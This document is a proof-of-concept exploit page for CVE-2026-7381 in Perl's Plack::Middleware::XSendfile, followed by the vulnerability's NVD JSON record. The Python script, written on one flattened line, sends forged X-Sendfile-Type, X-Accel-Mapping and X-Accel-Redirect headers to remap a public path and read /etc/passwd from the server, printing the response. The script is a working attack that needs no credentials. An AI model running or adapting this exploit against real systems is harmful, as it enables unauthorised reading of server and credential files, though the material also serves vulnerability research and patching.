CVE-2026-7381

import requests def exploit_cve_2026_7381(target_url): """ PoC for CVE-2026-7381 Demonstrates arbitrary file read via X-Sendfile-Type and X-Accel-Mapping. """ headers = { # Force the middleware to use nginx's X-Accel-Redirect mechanism "X-Sendfile-Type": "X-Accel-Redirect", # Map a public path prefix to a restricted directory (e.g., /etc/) # Syntax: /public_prefix/=/protected_directory/ "X-Accel-Mapping": "/static/=/etc/", # Trigger the redirect to the specific file "X-Accel-Redirect": "/static/passwd" } try: response = requests.get(target_url, headers=headers) print(f"[*] Status Code: {response.status_code}") print("[*] Response Content:") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-app.com/download" exploit_cve_2026_7381(target)

{"cve": {"id": "CVE-2026-7381", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-04-29T23:16:19.897", "lastModified": "2026-05-07T02:10:11.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plack::Middleware::XSendfile versions through 1.0053 for Perl can allow client-controlled path rewriting.\n\nPlack::Middleware::XSendfile allows the variation setting (sendfile type) to be set by the client via the X-Sendfile-Type header, if it is not considered in the middleware constructor or the Plack environment.\n\nA malicious client can set the X-Sendfile-Type header to \"X-Accel-Redirect\" to services running behind nginx reverse proxies, and then set the X-Accel-Mapping to map the path to an arbitrary file on the server.\n\nSince 1.0053, Plack::Middleware::XSendfile is deprecated and will be removed from future releases of Plack.\n\nThis is similar to CVE-2025-61780 for Rack::Sendfile, although Plack::Middleware::XSendfile has some mitigations that disallow regular expressions to be used in the mapping, and only apply the mapping for the \"X-Accel-Redirect\" type."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-441"}, {"lang": "en", "value": "CWE-913"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:miyagawa:plack\\:\\:middleware\\:\\:xsendfile:*:*:*:*:*:perl:*:*", "versionEndIncluding": "1.0053", "matchCriteriaId": "29005B5E-82D5-4EB7-8387-D831C6963F11"}]}]}], "references": [{"url": "https://metacpan.org/release/MIYAGAWA/Plack-1.0053/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Release Notes"]}, {"url": "https://metacpan.org/release/MIYAGAWA/Plack-1.0053/view/lib/Plack/Middleware/XSendfile.pm#DEPRECATION-NOTICE", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Product"]}, {"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61780", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["US Government Resource"]}]}}